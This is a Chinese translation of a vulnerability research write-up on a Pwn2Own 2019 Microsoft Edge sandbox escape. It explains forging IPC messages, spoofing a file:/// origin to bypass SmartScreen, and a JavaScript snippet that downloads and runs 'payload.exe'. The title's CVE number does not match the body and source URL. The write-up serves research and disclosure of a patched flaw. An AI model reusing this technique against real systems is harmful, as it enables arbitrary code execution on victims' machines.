详细分析Pwn2Own 2019上曝出的Edge的Canvas 2D API漏洞(CVE-2019-0940)利用(下)

xiaohui 漏洞 2019年6月4日发布
Favorite收藏

导语:Microsoft Edge使用各种进程间通信(IPC)机制在内容进程、管理器进程和代理进程之间进行通信。

上文,我们以Microsoft Edge浏览器为例,说一说黑客团队是如何发现其中的漏洞,并成功运用它的。该漏洞利用包括两大块:

1. Edge的渲染器重复释放 (double-free)漏洞利用,实现任意读写;

2.沙箱逃逸的逻辑漏洞利用,实现拥有介质完整性等级(Medium Integrity Level)的任意代码执行;

不过由于篇幅所限,我们只介绍了利用Microsoft Edge 64位渲染器过程中重复释放 (double-free)漏洞的情况。本文,我们将接着介绍沙箱逃逸的逻辑漏洞,该漏洞允许以介质完整性等级执行任意代码。

背景知

Microsoft Edge使用各种进程间通信(IPC)机制在内容进程、管理器进程和代理进程之间进行通信。进程间通信(IPC,Inter-Process Communication),指至少两个进程或线程间传送数据或信号的一些技术或方法。进程是计算机系统分配资源的最小单位(严格说来是线程)。每个进程都有自己的一部分独立的系统资源,彼此是隔离的。为了能使不同的进程互相访问资源并进行协调工作,才有了进程间通信。举一个典型的例子,使用进程间通信的两个应用可以被分类为客户端和服务器,客户端进程请求数据,服务端回复客户端的数据请求。有一些应用本身既是服务器又是客户端,这在分布式计算中,时常可以见到。这些进程可以运行在同一计算机上或网络连接的不同计算机上。与本文所描述的漏洞相关的IPC机制,有一组自定义消息传递函数,这些函数扩展了标准的Windows API PostMessage()函数。这些函数看起来如下所示:

edgeIso!IsoPostMessage(ulong, ulong, ulong, ulong, ulong, _GUID)
edgeIso!IsoPostMessageUsingDataInBuffer(ulong, bool)
edgeIso!IsoPostMessageUsingVirtualAddress(ulong, ulong, ulong, ulong, uchar *, ulong)
edgeIso!IsoPostMessageWithoutBuffer(ulong, ulong, ulong, ulong, _GUID)
edgeIso!LCIEPostMessage(ulong, ulong, ulong, ulong, ulong)
edgeIso!LCIEPostMessageWithDISPPARAMS(ulong, ulong, uint, ulong, long, tagDISPPARAMS *, int)
edgeIso!LCIEPostMessageWithoutBuffer(ulong, ulong, ulong, ulong)

所列函数用于发送含有或不含有数据的消息,并且是无状态的。这些函数不支持直接获取操作结果,只返回有关操作结果的消息。不过,这并不保证所请求的操作已经成功完成。这些函数的主要目标是触发某些事件,例如,当用户点击导航面板时,信号状态信息和用户界面通知就会发生变化。

消息被发送到当前进程的窗口或管理器进程的窗口时,将选择对PostMessage()的调用。进程间消息传递,使用的是共享内存部分和Windows事件。实现细节对开发人员是隐藏的,并且消息的方向是根据窗口句柄的值进行选择的。每个消息都有一个惟一的标识符,该标识符表示作为对触发器的响应而执行的操作类型。

应该作为对用户触发事件的响应而创建的消息通过不同处理程序的虚拟层,从一个函数传递到另一个函数。这些处理程序负责处理消息,并可以使用不同的消息标识符进一步传递消息。

漏洞

Microsoft Edge Manager进程接受来自其他进程的消息,包括内容进程。有些消息只能在内部运行,而不会跨越进程边界。内容进程可以发送应该仅在Manager进程内发送的消息,如果这样的消息被攻击者利用,则可以伪造用户点击过程,从而下载并启动任意二进制文件。

当启动可执行文件的下载(通过JavaScript代码或用户请求)时,将出现含有按钮的通知栏,并向用户提供三个选项:“运行”负责运行所提供的文件;“下载”负责进行下载以下载或“取消”负责取消进程。如果用户单击“运行”,则会将一系列消息从一个管理器进程窗口发送到另一个进程窗口。通过使用以下断点,可以查看调试器中传递的消息类型:

bu edgeIso!LCIEPostMessage ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!LCIEPostMessageWithoutBuffer ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!LCIEPostMessageWithDISPPARAMS ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!IsoPostMessage ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!IsoPostMessageWithoutBuffer ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!IsoPostMessageUsingVirtualAddress ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"

在导航和后续文件下载期间发送的大量消息,形成了复杂的动作顺序。以下列表表示在普通用户活动期间由内容进程(CP)或管理器进程(MP)执行的操作:

1.用户点击要导航的链接或导航由JavaScript代码触发;

2.触发导航事件(从CP发送到MP的消息);

3.创建和处理模式下载通知栏的消息被发送(CP到MP);

4.出现模式通知栏;

5.处理导航和历史状态的消息被发送(CP到MP);

6.发送处理DOM事件的消息 (CP到MP);

7.再次处理下载,发送带有相关下载资料的消息(CP至MP);

8.用户点击“运行”以运行文件下载;

9.发送关于下载状态的消息(MP到CP);

10.CP以更新的文件下载信息进行响应,并在自己的进程中终止下载处理;

11.MP选择文件下载处理并开始向自己的Windows发送消息(MP到MP);

12.MP启动下载文件的安全扫描(MP到MP);

13.如果扫描成功完成,将向代理进程发送一条消息来运行该文件;

14.“browser_broker.exe”代理进程负责启动可执行文件。

这一系列调用中的第一条消息就是对用户点击的响应,该响应会启动一系列消息传递事件。。接下来是一条对漏洞利用很重要的消息,因为调用堆栈包含漏洞将模拟的函数。调试器日志文件的摘录如下:

edgeIso!LCIEPostMessage (00007ffe`d46ab110)(00000402, 00000402, 00000c65, ...)
 # Child-SP          RetAddr           Call Site
00 0000005d`65cfe928 00007ffe`af8de928 edgeIso!LCIEPostMessage
01 0000005d`65cfe930 00007ffe`af696d18 EMODEL!DownloadStateProgress::LCIESendToDownloadManager+0x118
02 0000005d`65cfe9b0 00007ffe`af696b1d EMODEL!CDownloadSecurity::_SendStateChangeMessage+0xe0
03 0000005d`65cfead0 00007ffe`af6954f5 EMODEL!CDownloadSecurity::_OnSecurityChecksComplete+0xa5
04 0000005d`65cfeb00 00007ffe`af6878c8 EMODEL!CDownloadSecurity::OnSecurityCheckCallback+0x45
05 0000005d`65cfeb30 00007ffe`af686dc2 EMODEL!CDownloadManager::OnDownloadSecurityCallback+0x58
06 0000005d`65cfeb70 00007ffe`af4604b7 EMODEL!CDownloadManager::HandleDownloadMessage+0x11e
07 0000005d`65cfed40 00007ffe`d469cccf EMODEL!LCIEAuthority::LCIEAuthorityManagerWinProc+0x2067
08 0000005d`65cff410 00007ffe`d469d830 edgeIso!IsoDispatchMessageToArtifacts+0x54f
09 0000005d`65cff520 00007fff`08506d41 edgeIso!_IsoThreadMessagingWindowProc+0x1f0

发送的最后一条消息也很重要,它具有标识符0xd6b,负责启动运行文件。调试器日志文件的摘录如下:

edgeIso!IsoPostMessage (00007ffe`d46ad8c0)(00000402, 00000402, 00000d6b, ...)
 # Child-SP          RetAddr           Call Site
00 0000005d`656fefc8 00007ffe`af62b4c6 edgeIso!IsoPostMessage
01 0000005d`656fefd0 00007ffe`af62b962 EMODEL!TFlatIsoMessage<DownloadOperation>::Post+0x9a
02 0000005d`656ff040 00007ffe`af62b7bf EMODEL!SpartanCore::DownloadsHandler::SendCommand+0x4e
03 0000005d`656ff0b0 00007ffe`af62ac07 EMODEL!SpartanCore::DownloadsHandler::ReportLaunchFailure+0xc3
04 0000005d`656ff110 00007ffe`af43be99 EMODEL!SpartanCore::DownloadsHandler::InvokeCommand+0x117
05 0000005d`656ff190 00007ffe`af43f0c3 EMODEL!CLayerBase::InvokeCommand+0x159
06 0000005d`656ff210 00007ffe`af43e78a EMODEL!CAsyncBoundaryLayer::_ProcessRequest+0x503
07 0000005d`656ff340 00007fff`08506d41 EMODEL!CAsyncBoundaryLayer::s_WndProc+0x19a
08 0000005d`656ff480 00007fff`08506713 USER32!UserCallWinProcCheckWow+0x2c1
09 0000005d`656ff610 00007fff`016ffef4 USER32!DispatchMessageWorker+0x1c3

可以看出,SpartanCore::DownloadsHandler::SendCommand()被漏洞利用代码欺骗。

漏洞利用

漏洞利用代码完全在Javascript中实现,并从Javascript调用所需的本机函数。

漏洞利用过程可分为以下4个阶段:

1.更改当前文档的原始位置;

2.执行提供运行下载文件的JavaScript代码;

3.向管理器进程发送一条消息,该消息将触发要运行的文件;

4.恢复原始位置;

Edge浏览器会根据站点的位置,警告用户可能会下载可能不安全的文件。对于互联网站点,用户始终会收到警告。此外,Edge浏览器会检查下载的引用程序,即使用户明确选择运行文件,它也可能拒绝运行下载的文件。此外,使用Microsoft Windows Defender SmartScreen扫描下载的文件,如果文件被视为恶意文件,则会阻止任何文件运行,这将阻止攻击的发生。

但是,当从“file://”URL启动下载时,下载引用程序也来自安全区域,下载的文件不会标记为“Web标记”(MotW)。这完全绕过了Microsoft Defender SmartScreen的检查,以允许运行下载的文件而不受任何限制。

第一步,该漏洞会找到当前站点URL,并使用“file:///”区域URL覆盖它。通过读取内存中的相关指针可以找到站点的URL。在覆盖了站点URL之后,呈现程序会将来自当前站点的任何下载视为来自“file:///”区域。

第二步,漏洞执行JavaScript代码,该代码从远程服务器获取下载文件并提供下载:

let anchorElement = document.createElement('a');
fetch('payload.bin').then((response) => {
  response.blob().then(
    (blobData) => {
      anchorElement.href = URL.createObjectURL(blobData);
      anchorElement.download = 'payload.exe';
      anchorElement.click();
    }
  );
});

执行的JavaScript启动文件下载,只要用户没有响应下载通知栏,Edge浏览器就会在内部缓存文件中保存一个临时副本。在下载任何文件之前,会为实际下载文件创建一个全局惟一标识符(GUID)。Edge浏览器不是通过文件名或路径来识别下载的,而是通过下载GUID来识别的。发送命令执行任何文件操作的消息必须发送实际文件的GUID。因此,需要找到实际的文件下载GUID。在调用EdgeContent的过程中,内容进程创建了所需的GUID !CDownloadState::Initialize():

.text:0000000180058CF0 public: long CDownloadState::Initialize(class CInterThreadMarshal *, struct IStream *, unsigned short const *, struct _GUID const &, unsigned short const *, struct IFetchDownloadContext *) proc near
...
.text:0000000180058E6F loc_180058E6F:
.text:0000000180058E6F                 mov     edi, 8007000Eh
.text:0000000180058E74                 test    rbx, rbx
.text:0000000180058E77                 jz      loc_180058FF0
.text:0000000180058E7D                 test    r13b, r13b
.text:0000000180058E80                 jnz     short loc_180058E93
.text:0000000180058E82                 lea     rcx, [rsi+74h]  ; pguid
.text:0000000180058E86                 call    cs:__imp_CoCreateGuid

接下来是调用EdgeContent!DownloadStateProgress::LCIESendToDownloadManager(),这个函数包含所有相关的下载数据(例如当前URL,缓存文件的路径,引用者,文件名称和文件的mime类型), 为元数据添加填充, 创建所谓的“消息缓冲区”,并通过调用LCIEPostMessage()将其发送到管理器进程。当此消息被发送到另一个进程时,所有数据最终都被放置在共享内存部分,并且内容进程和管理器进程都可以读写这些数据。另外,消息缓冲区最终由下载文件GUID填充。

DownloadStateProgress::LCIESendToDownloadManager()执行的上述操作对攻击很重要,因为它间接泄漏了消息缓冲区的地址和相关下载文件GUID。

消息缓冲区的分配地址取决于消息的大小:

0x0到0x20字节:不支持(消息传送失败);

0x20到0x1d0字节:第一个插槽;

0x1d4到0xfd0字节:第二个插槽;

来自0x1fd4字节:最后一个插槽;

如果释放了具有相同大小插槽的前一条消息,则在相同的地址重新分配新消息。消息缓冲区分配程序的细节会成功地泄漏下一个缓冲区的地址。在触发文件下载之后,攻击者就将通过该漏洞获取消息缓冲区的地址。在检索到消息缓冲区的地址后,可以解析消息缓冲区并提取相关数据,例如缓存路径和文件下载GUID。

最后一步,也是关键的一步,就是发送一条消息,该消息会触发浏览器以介质完整性等级运行下载的文件(实际的文件操作由浏览器代理“browser_broker.exe”执行)。执行当前步骤的漏洞代码是从eModel!TFlatIsoMessage<DownloadOperation>::Post()借用的:

__int64 __fastcall TFlatIsoMessage<DownloadOperation>::Post(
    unsigned int a1,
    unsigned int a2,
    __int64 a3,
    __int64 a4,
    __int64 a5
)
{
    unsigned int v5; // esi
    unsigned int v6; // edi
    signed int result; // ebx
    __int64 isoMessage_; // r8
    __m128i threadStateGUID; // xmm0
    unsigned int v11; // [rsp+20h] [rbp-48h]
    __int128 tmpThreadStateGUID; // [rsp+30h] [rbp-38h]
    __int64 isoMessage; // [rsp+40h] [rbp-28h]
    unsigned int msgBuffer; // [rsp+48h] [rbp-20h]
 
    v5 = a2;
    v6 = a1;
    result = IsoAllocMessageBuffer(a1, &msgBuffer, 0x48u, &isoMessage);
    if ( result >= 0 )
    {
        isoMessage_ = isoMessage;
        *(isoMessage + 0x20) = *a5;
        *(isoMessage_ + 0x30) = *(a5 + 0x10);
        *(isoMessage_ + 0x40) = *(a5 + 0x20);
        threadStateGUID = *GlobalThreadState();
        v11 = msgBuffer;
        _mm_storeu_si128(&tmpThreadStateGUID, threadStateGUID);
        result = IsoPostMessage(v6, v5, 0xD6Bu, 0, v11, &tmpThreadStateGUID);
        if ( result < 0 )
        {
            IsoFreeMessageBuffer(msgBuffer);
        }
    }
    return result;
}

最后,该漏洞会恢复原始站点URL以避免任何潜在的反分析,并发送消息删除下载通知栏。

不过,利用该漏洞时,会存在一个问题,就是在漏洞发送消息点击弹出按钮之前,会出现一个小的弹出窗口。

目前,还没有简单的方法可以检测出如上所述的漏洞利用,因为漏洞利用代码不需要使用任何特别类型的数据,也不执行任何类型的异常活动。

缓解措施

这个漏洞是用Javascript开发的,所以可以通过禁用Javascript来缓解这个问题。另外,微软在5月份的更新中修补了上述漏洞。

本文翻译自:https://blog.exodusintel.com/2019/05/27/pwn2own-2019-microsoft-edge-sandbox-escape-cve-2019-0938-part-2/如若转载,请注明原文地址: https://www.4hou.com/vulnerable/18321.html
点赞 5
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论